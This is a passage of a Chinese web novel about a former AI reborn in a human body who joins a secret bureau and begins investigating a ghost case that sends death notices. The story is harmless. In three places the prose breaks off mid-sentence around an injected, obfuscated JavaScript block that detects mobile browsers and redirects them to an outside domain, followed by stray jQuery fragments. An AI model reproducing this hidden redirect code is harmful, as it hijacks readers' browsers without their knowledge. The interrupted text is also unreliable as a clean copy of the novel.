“啊啊啊——”果不其然,冒冒失失的少年脚下一个踉跄,左脚绊上右脚,眼见着托盘上的四碗面条就要摔飞到地上。
沈狸双真气一拧就要出手,可他身后的夏秋桐比他更快。沧月凌空划开一道冰棱,几乎在同一时间从不同方向往四个碗底打入一道劲气将它们在半空中扶正。然后夏秋桐抄过少年手里的托盘,足弓一抬,以极为流利的轨迹飞身将四碗面条稳稳借住。
而沧月也像长了眼一般回落进她腰间剑鞘,那凝结在半空中的冰迹也在同时碎为雪屑。
“好…好好好……好厉害!!!”少年瞠目结舌,一双老虎般炯炯的眼睛亮晶晶的,“夏,夏姑娘,不,夏仙长。您教教我呗!收我为徒吧!”
“咳咳。”沈狸双忍不住刮了夏秋桐一眼,恨不能立刻敲一下她的脑袋。但他还是摆出一副云淡风轻的雅派,一拂袖将作势欲拜的少年稳稳扶住,“小胡啊,不是说好了你要把那碎金刀法练到融会贯通,我才会教你仙家本事的吗?你做到了?”
“呃……对,对不起沈大哥,我会努力的!”少年挠挠脑袋,有些不好意思
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419109|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地从地上爬起来。
“还有你,如此招摇!”沈狸双威严道,“小胡和雨悦他们从前见过妖邪手段也就罢了,若是常人见了你刚才那一招该何等惊惧?我们苍玄道承天之志,身负仙法,所以更要谨言慎行,莫逞威风。”
言下之意就是莫装逼莫现眼,免得吓到人还会惹麻烦。
夏秋桐将面端上院子里的圆桌,若有所思地对沈狸双点点头。
“这位是我们苍玄道怀阳分宗的小道长胡诚进,然后是他名义上的妻子,也是我们苍玄道的小道长邱雨悦。”沈狸双介绍道,“然后这位是我此番邀来一同诛邪的道友,夏秋桐夏道长。”
“两位道长好。”在介绍道自己的时候,邱雨悦正在斟茶,语气有些胆怯。
“名义上的妻子?他们不是夫妻吗?”
“不是的。”还没等沈狸双开口,邱雨悦就连忙小声否认道,“我…我与诚进都在妖邪的祸害下没了家人,后来得苍玄道救济在怀阳合开了这家面馆,暗地里搜寻邪祟消息。对外我们就以夫妻相称。”
“为了避免过于同一被妖邪察觉,我们分宗只集中人手,其余不做限制全凭信众们施为。所以你以后会看到以各种名头隐立的分宗,甚至还有开在花场赌坊里的。”沈狸双为夏秋桐解释道,“而为了方便行事,他们也会给自己构编各式各样的身份。”
“原来如此。”夏秋桐点头。但她没有说在邱雨悦开口否认时,自己分明从胡诚进的脸上看到一闪而过的失落。
看来又是一个落花有意流水无情啊。
沈狸双拆开筷子,搅着汤面上的红油辣臊。夏秋桐看着那雪长白皙,骨节分明的一双手。他现在是如此的优雅不苟,连提箸都端庄得像是要提笔作画,很难想象这样一副谪仙气派的人刚刚还被气得跳脚。
“吃罢。”沈狸双抬眼,发现夏秋桐以一种诡异的目光审视着自己,让他心里有点发毛,“小胡他们家的面条汤醇面韧,滋味极好。”
滋味……
夏秋桐吃下一口面条。浓郁微辣的面汤咽进喉里,满溢着醇厚扎实的油香。面条也软韧劲道,粗细均匀,每一根都裹着鲜美的汤汁。
夏秋桐一口接着一口停不下来,不一会就暖得额头微微生汗。
这是她第一次试着去感受食物的滋味,去细品唇齿吞咽,食物滑入喉腔胃袋带来的满足感。
在阿尔法时期她不需要进食,而转生为夏秋桐后几次吃东西也都只是为了回复体力,并没有分心去体验这种感觉。
人类原可以这般畅快吗……好像还不错?
夏秋桐心底生出某种奇异的感觉,但又迅速用理性将其扑灭了。
她是AI,也只会是AI,现在也不过是套用一具人类的躯壳罢了,她没有灵魂,永远不可能是真正的人类。
绝无可能。
……
饭饱茶暖,邱雨悦拉着胡诚进去厨房收拾,沈狸双见两人走远,才从怀中摸出一个布包来。
“喏,这是你的新人入职礼,里面有必要的禁物,手册,还有你这个月的月钱。”
夏秋桐点点头,不急着拆。
“还有…”沈狸双一时有些忸怩起来,但还是将一个红木的小盒子推到夏秋桐面前,“这是我给你准备的……一直都没有正式祝贺你…”
“夏秋桐小姐。”他咳嗽了两声,然后认真道,“欢迎你加入提刑司。”
14.丧鬼送喜
夏秋桐凝望着他的眼睛,狐狸一样,明亮漆黑,藏着一缕瞳芯里透出来的葡萄一样的魅紫。
“谢谢……”她难得的陷入迟疑,因为一时不知道该如何回应。
她曾经见过太多人的目光,那些人仰望着诺拉尔尖塔,眼神里的意图在数据分析下一览无遗。
有痛苦的、愤怒的、渴望的…更多是饱含敬畏的,像臣民仰望着他们高高在上的国王。却从未有如沈狸双现在这样的。
这是第一次有人真心祝贺着她什么。
夏秋桐迅速调整好心情,拆开了那个装着新手福利的布包。里面分别是一盏折叠的纸灯、一个沙漏纹样的扳指、一条镶坠着银色星星的项链、一卷透明细丝、一块刻着灾厄二字的银色腰牌、一块六角棱镜和两把锋利的匕首。
“【定格瞬间】,一品禁物【时空回溯】的分流子体,有跟你介绍过;【灵掌灯】和【禁言星锁】也是禁物子体,用来照明和限制动静;这卷冰蚕丝无色透明可以灌注内力驱使,不是禁物但很好用;腰牌是你身份的象征,且是你接入云上期会的凭证…匕首是我单独给你申请的,你从穿越者那薅来的质量太差,这两把至少是精铁的。还有一把精铁剑待会出门记得带上,沧月不方便在外头使用。”
“然后这个我得重点跟你介绍一下。”沈狸双拿起那块巴掌大的六棱晶,紫得发透的晶片足有半指厚,沉甸甸得坠手,“这玩意我们叫它【晶脑】,它不是子体,但也依赖禁物运作。是玄祖大人利用一品禁物【万灵基站】为我们搭建的交流网络。类似于你们世界的电话。”
他说着摩擦了一下棱晶粗粝的边缘,晶面上立刻就浮现出号码盘一样的数字,并传出一阵仿佛电流蹿动的滋响。
随着沈狸双敲击下一串号码,晶体里传出了宋炀的声音。
“诶?怎么了大哥。”宋炀的声音有些模糊,杂着风声和哗啦啦的水声。
“我在给新人讲解晶脑的用法。你现在在哪,方便吗?”
“噢噢,没问题的,我在赶路北上,现在刚找了个地方休息。”
“那你同意一下视频接入。”沈狸双又摩擦了一下晶边,紧接着一道方正的大约两掌大小的光屏凌空展开,上面是宋炀放大的脸。
“大哥,夏姑娘!”宋炀将画面拉远,朝着沈狸双他们兴奋挥手,他的身后是青葱高耸的山谷,云雾缭绕晨光明媚,一条悬白的瀑布如洗练般丈落驰下。
“大概就是这样,我已经替你申请了晶脑号码,你也记一下我跟鹤君的。这样你就可以跟我们随时联络。”沈狸双偏过头,看向夏秋桐。
“话说既然提刑司允许提刑官们私下联系,甚至还有类似电话的晶脑存在。那为何在云端之上还要将所有人的外形声音模糊隐藏?这不是掩耳盗铃吗?”
“你会觉得提刑官间沟通敞亮直接,亲密无间,那是因为你看到的是我与鹤君。我与他相识多年,甚至在他成为提刑官前就相熟了。”沈狸双朝宋炀挥手告别,然后掐断了视频通话,“但提刑官间更普遍的相处方式其实是各自为营。虽说玄祖大人并未要求我们一定要向彼此隐瞒身份,也允许提刑官之间的会面。但毕竟做的是虎口拔刺这样的舍命活计,那真身暴露得自然是越少越好。”
“而且这也是有前车之鉴的,百年前就有一个提刑官领头搞了个什么喝酒吟诗的曲江宴,没曾想被穿越者闻到了风声,赴宴的38位提刑官死了29个。”沈狸双说着唇角颤抖了一下,仿佛他亲眼目睹了那血染曲江的惨案一般。
“况且现在也不比当年了,有资质做提刑官的人越来越少,案件却越来越多。大家都忙得脚不沾地,这个世界也没有什么飞机汽车这种代步工具。天下之大,很多提刑官终其一生可能都见不到对方一面。”
“比如像我现在包含你与鹤君也才见过7位提刑官,这都已经算得上多了。”
“那你们就不会好奇吗?对彼此的真实身份?”夏秋桐问。
“又不是不知轻重的稚子,哪有那么旺盛的好奇心。你应该也上过班吧,连轴转了一天时间掰碎了都不够用,沾床就想入眠,哪有功夫再去关心同事姓甚名谁?”沈狸双语气恹恹,颇为哀怨。
“不过也有例外,你应该也有印象。就是先前云上期会那个名号叫''猎炎''的家伙。他是提刑司出了名的好战份子,非常热衷于线下围堵那些他认为实力强大的提刑官,要求比试。”见夏秋桐依然是一张毫无情绪的冷脸,沈狸双忍不住揶揄,“你当时被玄祖大人给予了那么高的评价,估计他下一个来找的就是你了。”
“提刑官驭使禁物,要怎么分出强弱?就像你作为四相可以随意取用20号之后的编号禁物,他怎么可能比得过?”
“既然是比武,那自然是不用禁物的。他是武痴又不是傻子。”沈狸双道,“而且内部比试点到为止,谁也不会为了逞一时风头强担着风险使用禁物的。”
“那他来挑战过你吗?结果如何?”
“我是他第三个选择挑战的提刑官,结果嘛…哼哼,自然是我大获全胜啦。”沈狸双挑了下眉峰,颇为臭屁地道,“他放眼江湖也算是个一等高手,但在我手上可是连三个回合都没有走过哦。”
“你很强吗?”
“那是当然……你大可以去外头打听打听,当今剑榜第三的鎏云剑正是在下。”沈狸双又得意地哼了一声,见夏秋桐眼神微凝,不无显摆地道,“怎么…不会灾厄你已经开始担心了吧?没关系,你也不是没听到玄祖大人的安排,那小子现在身上的任务那么多,一时半会脱不开身来找你的……如果你实在担心的话,要不我陪你练练?”
他本就随口一说,怎料夏秋桐居然真的露出一副认真思索的表情来。想起前几次她那孤狼舍命一般的凶残打法,再想起今晨那拆去半间房所谓练剑,沈狸双忍不住缩了缩脖子,悻悻道:“呃,我就这么一说,最近挺忙的哈。”
“不,你提醒我了,我确实需要一个合适的对手。我觉得你很不错。”她的大数据剑法经过了模拟、试剑,还需要实战检验。
“绝无可能,你那不是陪练是搏命。”沈狸双将自己单独送的那盒子打开,“况且我把这东西都送给你了,现在的我一碰就碎。”
“这是……”
盒子里是一串穿了六颗墨绿菩提子的银丝手链。和新手礼包里那些禁物子体不同,夏秋桐抚摸这串手链时感受到了相当温和浑厚的能量。仿若严冬里熊熊燃烧的壁火。
“九命菩提?”她几乎下意识地就猜到了答案。
“咳,我用掉过三颗,现在只有六命了。”沈狸双颇有些不好意思地拧过脸,指甲抠着衣角,“它可以替使用者抵挡一次致命外伤,一颗菩提代表一次机会。它的使用代价是预付的,我在领用它时就已经一次性付清,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430027|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所以它现在没有任何的副作用,是纯粹的保命道具。”
“这太贵重了。”夏秋桐立刻将装着菩提串的盒子推回,「九命菩提」是排名相当靠前的一品禁物,可想而知沈狸双预付的代价有多大,“而且……”她想了想,认真道,“我比你强。”
“……”沈狸双觉得这姑娘的情商大概率是全贴到智商上去了,当即啧了一声,“那你就当我用这个下注吧。”
“下注?”
“赌你可以拯救这个世界。”他语气飞扬,透着认真。
“我可是灾厄。”
“玄祖的那一番话并非全部源于祂自身对你的判断,祂那双眼睛融合了特级禁物013号【知天箴】。所以有一部分其实是源于特级禁物对你的预言。”沈狸双望向夏秋桐,好看的狐狸眼微微眯起,“祂们认为你是灾厄,其实是肯定了你的潜力,说明你终将代表着这个世界站在最后的岔路上。”
“到那时,你的手里将握着这个世界的脉搏,世界将像最脆弱的婴孩般向你袒露一切。是剔除他的瘤块还是割断他的喉管都在你一念之间,无人可以阻挡。你是灾厄,但也是希望。”
“你就这么放心我吗?”
“不太放心,但我们快要走投无路了。”沈狸双的神情里有夏秋桐无法解读的悲伤,不知道为什么,这张年轻的面庞时常会露出这般沧桑沉重的神色,“而你现在还太过弱小……不要急着反驳。我知道你聪明,能力很强,可以吸收心核,还契约了特级禁物沧月……但是你现在拥有的这些,说实话,在那些真正强大的穿越者面前不值一提。你打败的陈安只是最普通的那一类穿越者……未来你还会遇到譬如能不断变强的升级者、多次完成任务的回归者等等,他们的强大会超乎你的想象。”
“但你的潜力实在太大了,大到令人恐惧,所以一旦你有所暴露,那么谋杀者系统绝不会对你坐视不管。而且你作为夏秋桐已经上过一次他们的任务名单,这意味着可能会有其他穿越者接手这个任务对你展开追杀。而在你真正成长到足以保护自己之前。”沈狸双正色道,“这是最有效的方法。”
夏秋桐不再拒绝,将那串菩提手链戴好。她深知沈狸双说的全都是事实,她擅长从无数个可视的未来中筛择出最接近成功的那一个,但总有一些对手是她穷尽未来都无法战胜,根植于绝望的。例如东皇,例如当初攻陷诺拉尔尖塔的起义军。
“回归任务吧。”见先前去收拾的胡诚进和邱雨悦捧着一叠卷宗走来,沈狸双眼神示意夏秋桐将桌面上的禁物收好。然后接过胡诚进手中的卷宗摊放到桌上。
“这次的案子是【丧鬼送喜】。”沈狸双一本正经地指着卷宗上的文字道。
不是死亡预告函吗?夏秋桐抬眼刚好对上沈狸双似笑非笑的视线,她立刻心领神会,意识到这个名字是呈现给像胡诚进和邱雨悦这样不知提刑司真相的编外工作人员看的。
毕竟苍玄道苍玄道,自然是要将案子说得越玄乎才越符合常人心里的苍天神道。
不过这丧鬼送喜……又是从何而来?
“根据我们苍玄道的初步推断,作祟的是一只吊亡的怨鬼。”沈狸双真假参半地扯言道,“它会啃食人的心智,遭其吸魂之人无不面含喜色而亡,且每次它都会提前给被害人发放墨函,预告作恶的时间。而这次收到函件的则是怀阳城绣春堂堂主之女——欧若雅。”
15.都是垃圾
“第一个有记载的案件在三个月前,怀阳锦绣楼名姬伏春桃在卧房里发现了一封墨函。上书「六月十三丑时会,丧鬼送你笑口开」。”沈狸双指着卷宗上的一段文字道,“起初她以为是哪个旖旎寻欢的春客在同她打趣,毕竟平日里她们也常会用些鬼神志怪之说来与恩客调笑增情添趣。但第六月十日也就是第二天她梳洗时,发现后背上被人用墨笔写了个「三」字。”
“倒计时?”夏秋桐挑了下眉,见一旁的胡诚进俩人一脸疑惑地望过来,便接着补充道,“就是倒着计数时辰,就跟燃香一样,香尽时歇。”
“是的。”沈狸双点点头,肯定了夏秋桐的想法,“但那时伏春桃仍旧以为是哪个客人与她戏笑,字也是在与她厮磨逗乐时偷偷描画上的。但她那日刚巧因病没有接客,卧在房里歇息了一天。早上起来时,原本擦净的后背上却又赫然多出了一个「二」字。”
“定…定是那丧鬼作祟!”这些案宗是沈狸双托关系从官府弄来的,虽然先前存放于分部,但胡诚进二人也都是第一次知道内容。双双都忍不住打了个寒颤。
“伏春桃自然也惊骇万分,当日就上禀给了官府。但缘于缺乏凭证,只有那一张墨函和伏春桃身上的墨迹。故而官府只派人去扫察了一下锦绣楼,确认无异状后就结案了。”沈狸双微微垂眸,语气萧然,“怎料两日后那伏春桃就被人发现死在房中,嘴角衔笑,诡异非常。而翻到她后背,却已不是数字,而是一个墨画的哭脸。”
“丧…丧鬼!”邱雨悦小声惊叫,攥紧的指尖泛白颤抖。胡诚进也吓得嘴唇哆嗦,但还是忍着恐惧安抚般地拍了拍她的后背。
在场的人里只有夏秋桐面色如常,迫不及待地翻开下一页卷宗:“那第二案呢?”
“第二案动静就闹得大了。亡者是从云樾王都来的游医王勉,是药王宗的客座长老,在江湖上也是小有名气。”沈狸双道,“王勉长老在发现墨函的第一天就提报给了官府。而在伏春桃一案里,由于实在寻不到端绪,所以官府最后只能认定是杀手作案。王勉刚好又是江湖出身,故而当时所有人都以为这是一则买凶杀人的案子。”
“于是怀阳官府派去了一众好手,还请来了鹤照堂明月摘星两位剑侠贴身看护。可饶是如此,王勉的身上还是逐日出现了那些倒计的数字。”
沈狸双语气神秘低沉,眼神幽邃,胡诚进和邱雨悦双双盯着他,一口大气都不敢出,“名函上所书的时间刚好卡在王勉长老出街义诊的时候,虽然当时所有人都在劝阻让其不要外出,但王勉长老坚持出诊说是要去赴约。”
“赴约?赴谁的约?”夏秋桐蹙了下眉。
“具体的王勉长老没有多说,只说是前些日子约定了一位有趣的垂髫小友。药王谷的人不可言之无信。”沈狸双叹了口气道,“事后官府也试着去找过这个所谓的孩童,但这大海捞针最后自然是不了了之。”
他接着道:“于是王勉长老那日如约上街,而官府则派出了整整三十名捕快在那条街上布下罗网。两位剑侠则扮作他的随侍。”
“最开始一切都很正常,百姓们排队问诊,王勉长老看病赠药。为了避免杀手是通过给毒害人,怀阳官府还要求王勉长老全程不要与客人有身体接触,就连诊脉用的也是悬丝。”沈狸双翻到线扎卷册的最后一页,“直到有病人问扮作随侍的两位剑侠,为何大夫闭眸长睡,他们才发现王勉长老已经殁了。”
“嗯?”夏秋桐立刻问道,“在此之前两位剑侠都没有发现端倪吗?”
“当时他们一位忙着替王勉抓药赠药,另一位负责盯梢,但主要看的还是排队围观的百姓,怕里头有人图谋不轨。”沈狸双说,“但据那位侠士所言,他并未发现可疑之人,王勉大人整个过程中也表现得很是正常,仿佛是猝然间就这么死去了一般……但是他有提到王勉长老曾曾对着个病人说了句小友好,但那病人是个相貌普通的青年男子,并不是所谓的垂髫小儿。”
“值得一说的是,王勉死时也和伏春桃一样,嘴角含笑,神容祥泰安和,背上也画着个哭脸。”沈狸双道,“有人当街气亡,还是药王谷的客座长老,一时间流言四起人心惶惶。也不知是谁将墨函的消息放出去的,现在怀阳城几乎人人都知道有这么一张催命的函件,几万双眼睛都在盯着事态变展。”
“而且这次被发函的欧大小姐身份也不简单——绣春堂,是以铸剑闻名的武堂。虽然才不过百年建业,但先后出过两位上过百晓堂名器榜的铸剑名家,在江湖上颇具声名。而欧若雅则是被誉为绣春堂年轻一辈中最具天赋的铸剑师,是明年大燕铸器大比的前列选手。”沈狸双道,“除却铸术,她在武学和经商上也很有才干,师承天合派的宋青长老,年纪轻轻使得一手好刀。同时她还承接了家族中三成的铸场,可谓能文能武女中豪杰,被许多怀阳城年轻女子们视作楷模。”
“我有幸见过那位欧大小姐,当真是英姿飒爽不让须眉。而且她素来心善,行侠仗义救困扶灾,当真是顶好的人儿。”连邱雨悦提到她都是一脸沉醉心生向往,话都变多了起来,“还望两位道长能尽快除妖诛邪,勿要让这样一位善人逢难。”
“这是自然,我等行苍玄道义,自将以惩奸除恶降妖伏魔为己任。”沈狸双点头道,“不过此番我们以私名行动,争选绣春堂公开选拔的堂客。”
“为何不用苍玄道的名义去?”夏秋桐问。
“知晓苍玄道的人只为极少数,名头不显,贸然递名容易被当作求财偷名的江湖骗士。至于展露仙家手段自是万万不能。”
“那为何不以官府的身份去?”
“这个案子能闹到现在这般满城风雨,绣春堂堂主,也就是欧小姐的父亲欧钰大师功不可没。在欧若雅收到墨函的第一天,他就放榜广招天下豪杰入堂护卫。”沈狸双挑了下眉,用夏秋桐才能听到的声音道,“一位得选的侠士可得一百两银票,不拿白不拿。”
夏秋桐:……
沈狸双见她的样子忍不住轻笑了一声,改色道,"其实主要还是因为绣春堂与怀阳官府积有旧怨。十一年前,绣春堂堂主夫人雨夜失踪,此案至今未破。当初因这件事堂主和官府那些人大闹了一场。所以我们若是还以官家的身份介手,怕是刚进去就会被他们扫地出门。"
“根基立在怀阳,却还敢顶撞怀阳府衙?”
“你……嗯,许是不知道。”念及夏秋桐是穿越者,或许不了解这个世界的大体情况,沈狸双便解释道,“自大燕颁布律法对江湖各派放开管制后,若无特殊情况,官家都会给江湖门派几分薄面,特别是像绣春堂这种在当地有些声望的。”
……
怀阳城以千年前的文圣人孔夫子的造像为中心,分东西南北四条主街道。而绣春堂所在的北街,一大早就被乌泱泱的人群挤满。
沈狸双俩人赶到时,人已经堆排到了街口。有几个穿着统一服饰的青壮男子正举着木牌维持秩序,估计都是绣春堂的弟子。
“人好多。”夏秋桐他们并进队伍,她偏过脑袋向前眺望,排前人山人海不见尽头。
“都是被那一百两的报酬吸引过来的,不过里头没几个好手。”沈狸双打眼一扫,就把队伍里那群摩拳擦掌跃跃欲试的人淘汰了个七七八八。
一来是贪财跟风凑热闹的人实在太多,二来他本身眼光就高,就算是以猎炎的身手,在他眼里也只能勉强勾到个及格分。
“哦呵,这又是哪里来的不知天高地厚的小鬼?”可能是因为没注意压低声量,站在沈狸双身前一个肌肉盘虬虎背熊腰的高壮男子恶狠狠地拧过脑袋。
他见沈狸双脂白粉面细皮嫩肉,身后还跟着个艳若桃花的美人,一时心生恶胆,怀着在美人跟前显摆的心思一掌朝沈狸双肩头拍去,口中还笑着,“让本大爷看看你这身骨头有没有跟你的嘴一样硬?”
沈狸双蹙起眉头,真气调上肩头就待男人落掌后就顺势废去他一只手。可他身后的夏秋桐先动了,森寒的精铁长剑锵得一声就抵在男人脖子上,男人甚至都没看清剑是如何出鞘的!
“诶诶诶!干什么干什么?再闹就要把你们都请出去了哈!!”不远处一个拿着纸笔穿着绣春堂衣裳的小个子男人注意到了这边的骚乱,连忙小跑了过来,“还有你们,看什么看?都转过去。”
在他的呵斥下,一些歪过身子偏头张望的人也挪开了视线,原本有些凌散的队伍再次变得井井有条起来。
“你们两位是刚来的吧。”小个子男人用嘴润湿了一下笔尖,“姓名?”
“沈狸双,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439891|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏秋桐。”
“你们二位是一起的吗?是什么关系?”
沈狸双:“师兄妹。”
夏秋桐:“夫妻。”
沈狸双&男人:“?”
“师兄妹…”沈狸双瞪了夏秋桐一眼,暗暗切齿道,“呃,师兄妹…也是夫妻。”
“啧,年轻人玩得活计真花。”小个子男人白了他们一眼,嘟嘟喃喃地往后登记去了。
“你到底在乱说些什么。”等他走远,沈狸双忍不住低声斥道。
“孤男寡女结伴同行,夫妻是最方便的身份,这是基于理性判断。”夏秋桐觉得沈狸双有些大惊小怪,“你反应怎么会这么大。”
“当我没问。”沈狸双讨了个没趣,知道夏秋桐的脑回路不可用常理度量,于是悻悻然转过身去。
而他身前,方才那个寻衅的大汉只是听到身后的男女声音窸窣,浑身冷汗便淌得停不下来。
那姑娘出手快狠毒辣自不用说,若是真交上手自己怕是连剑都没看见脑袋就分了家。但让他更生恐惧的反倒是那还未出手,只挂着淡淡笑意的年轻男子。在他抬掌欲落的瞬间,他感受到了男人身上那锋亮磅礴的真气,让他觉得自己仿若一叶面对扑天啸浪的孤舟,差点就要腿软跪下。
这是真高手。
烈日当空,队伍缓慢地前耸着,夏秋桐终于看到绣春堂的门衙。
一个又一个身着劲装的武者拖着脚步鼻青脸肿地走出来,更有伤得重的只能互相勾肩搭背,模样好不凄惨。
夏秋桐试着朝门里看去,碍于前人阻挡她只能隐约看到里堂似乎悬着一个庞大的青铜古钟。
“这是什么?”
沈狸双顺着她的视线望去,低声到,“那是绣春堂的「晓晨钟」,外铸青铜,铃芯据说是第一代堂主住的第一把剑。以前他们白天每个时辰都要敲一次钟,说是要秉持先辈闻鸡起舞不废光阴的风骨,后来左右街坊诉状得多了,他们才改成只在午时敲一次钟。”
像是要印证沈狸双的话一般,一声震耳欲聋得厚重钟响滚雷般扩延而散。在场所有的绣春堂弟子都立刻挺正身子,手握刀把,齐声大吼:“绣春堂!威武!”
夏秋桐切断一部分听觉,直到钟鸣散尽才重新恢复听力。她望着那些伤痕累累的武者,想了想,从怀里摸出一把匕首,是从陈安那拿走的那把。
“你给这把刀注入真气,要刚好让它再多挨一下就碎了的那种。”她把匕首递给沈狸双。
“嗯?”沈狸双不明所以,但还是依言往匕首注入内劲,“你要做什么?”
“你待会就知道了。”
……
“承让。”
随着门内一声清喝,一团高健的人影狠狠飞砸上门槛。方才那个出言不逊的壮汉顶着一张青肿的脸,不省人事地倒在门前。
“下一位。”一个同样穿着绣春堂衣裳的少女捧着名册小跑到门边,“两位是一起的吧,请跟我来。”
她领着夏秋桐俩人走进铜钟高悬,高阔宽敞的厅堂。绣春堂的人们围坐成一个巨大的圈,圈里站着一个穿着火红长裙束发齐腰的少女,她的手上攥着一把雪亮的战刀。
“欧师姐。”领路的少女小跑着将手中的名册呈给欧若雅。欧若雅点点头,双手抱刀对夏秋桐他们施了一礼:“小女欧若雅,不知两位可有名号?”
“在下沈狸双,这是内人夏秋桐,我们夫妻二人行走江湖多年也算略有薄名,江湖人称我们为鸳鸯双侠。”
“原来是鸳鸯双侠,久仰久仰。”欧若雅面不改色,再次抱拳。她当然不知道这对鸳鸯双侠是从哪里冒出来的侠客,毕竟这名头都是沈狸双进门前一拍脑袋编的。
不过无碍,左右都是些表面功夫罢了。
“二位一起上吧。”欧若雅战刀振声,笔直指前。一个面色苍白的俊俏公子,一个如风拂柳的美人,怎么看都不像是高手。
“欧大小姐,恕我直言。”沈狸双刚想应下准备好好给这位大小姐上一课,夏秋桐却抢先开口,“如果你还在乎性命的话,就请速速结束这场闹剧,让外头剩下的那些人…还有你已经选拔出的这些个所谓高手通通滚回去罢。”
她一字一顿,目光俨然,“因为在座的各位,都是垃圾。”
16.三杀戏命
“好一个目中无人的丫头!胆敢在这里胡说八道!!”远坐在欧若雅身后所有绣春堂门人中间,一身火红劲装发须发白的中年男子重重冷哼了一声。他是绣春堂的堂主欧钰,也是发起这场声势浩大的武招之人。
不只是他,在场所有人的目光都聚集在了夏秋桐的身上,多带着不忿与羞恼。夏秋桐这一声垃圾算是将在场的人都得罪完了。
“非我邀大,各位身手或许非凡,但我听说这次武招的目的是为了保护欧大小姐不受杀手暗害。”夏秋桐正色,“杀人之道的深浅,靠这种小打小闹的公开武招可试不出来。”
欧若雅拧起两根细长的眉毛,沉吟道:“那夏姑娘有何高见?”
“实不相瞒,我们鸳鸯双侠曾做的就是勾魂索命刀尖舔血的买卖,虽然金盆洗手多年,但对于如何杀人我俩再清楚不过。”
在旁边保持着莫测笑容的沈狸双闻言心里:?
他怎么不知道鸳鸯双侠还有这么个设定?
“而以杀手的眼光来看。”夏秋桐摇了摇头,“这里的所有人都不过是乌合之众,难堪大用。”
“既然姑娘这么有本事,那若雅就更要讨教一番了。”虽然夏秋桐说的真切,但欧若雅本能就觉得夏秋桐是在唬她。且不说夏秋桐那秀弱的模样,单就是她那气质就与欧若雅印象里的杀手有着天差地别。
于是她扬起锋利的战刀,一个箭步向夏秋桐冲去。却被夏秋桐打手势叫停。
“且慢。刚才不是与欧大小姐你说过了,单纯的比武是无用的,你要对付的是杀手,那么比试用的也应当是杀手的方式。”夏秋桐淡淡道,“来与我打个赌吧。”
欧若雅一愣:“赌什么?”
“赌在一炷香的时间里,”夏秋桐伸出三根手指来,“我能杀你三次。”
在场所有人都是一惊,其中包括了沈狸双,他面上依旧维持着陈静洒然的笑意,心里却如烈火烹油。
“灾厄,你到底要做什么?”他忍不住低声问。
夏秋桐没有理会他,依旧目不转睛地直视着欧若雅,直视着她那张陷入惊讶与思考的脸:“倘若我胜了,你立刻终止这次试武,已经选的人也全部遣走,这几日你们绣春堂所有人全都听我夫妻二人号令。若是我败了,那我们就随你处置。”
“好。”欧若雅思考了片刻后应下。一来夏秋桐说的确实有道理,杀手手段诡谲确实不能用常理揣度;二来她也非常好奇这位看着弱不禁风的夏姑娘要如何在一炷香的时间里杀她三次,毕竟她对于自己的身手也颇为自信。
“你不是她的对手。”见夏秋桐握住长剑往前迈了一步,沈狸双忍不住低声提醒道。
以他的眼光自然可以轻易看出这二人的武学造诣孰强孰弱。单就欧若雅方才持刀驰身的那一步就能看出这位绣春堂的大小姐并不是只有风名的花架子,而是有真本事傍身的。
而夏秋桐,虽然她的反应力和爆发力都堪称变态,但很明显招式不属于任何一家武学,是纯粹依靠野兽直觉搏杀的散派打法。
但招式优劣并非是他不看好夏秋桐的主要原因,毕竟还有乱拳打死老师傅一说。
式确实重要,但真正决定双方武功高低的,是真气与内力。
欧若雅的内力深浅他不清楚,但就她在那把钢刀上灌注的劲力来看应当算得上在同龄人前列。而夏秋桐他就太清楚了,在用「生命禁区」链接修复她伤势的时候他就知道对方一点真气内力也无,而且经脉脆弱根骨不佳,就修习来说这武学资质简直差的不能再差。
所以这段时间沈狸双偶尔也会感到惋惜,如若灾厄穿越的不是夏家大小姐这具弱不禁风难以习武的身体,能够修习武功。那等到那一天来临时,他们会不会有更多的胜算?
“放心吧。”夏秋桐一只手举起长剑,另一只手隐在袖下。沈狸双触及到她的目光,心里莫名一凛,忙低声促道:“不能动用禁物…也绝对不可以像上次那般舍命搏杀!”
“自然。”夏秋桐没有看他,对欧若雅做了一个请的手势。
“得罪了!”欧若雅清喝一声,足尖一点,手中长刀直前,猎豹似的飞扑出去。夏秋桐反应极快,长剑虚挡了一下欧若雅用力压下来的长刀,同时身子以一个诡异的角度弯折着扭避到一边,滑退开三步的距离。
“你所谓的杀人之道就是逃跑吗?!”欧若雅冷哼一声,刀尖在地上一点,借力飞身而起,用腰肢拧旋着挥刀而下。而就在这时,正对着她头顶的悬钟忽然发出一声巨大的震鸣,声浪下的欧若雅气势一顿肩头一软,险些握不住刀。
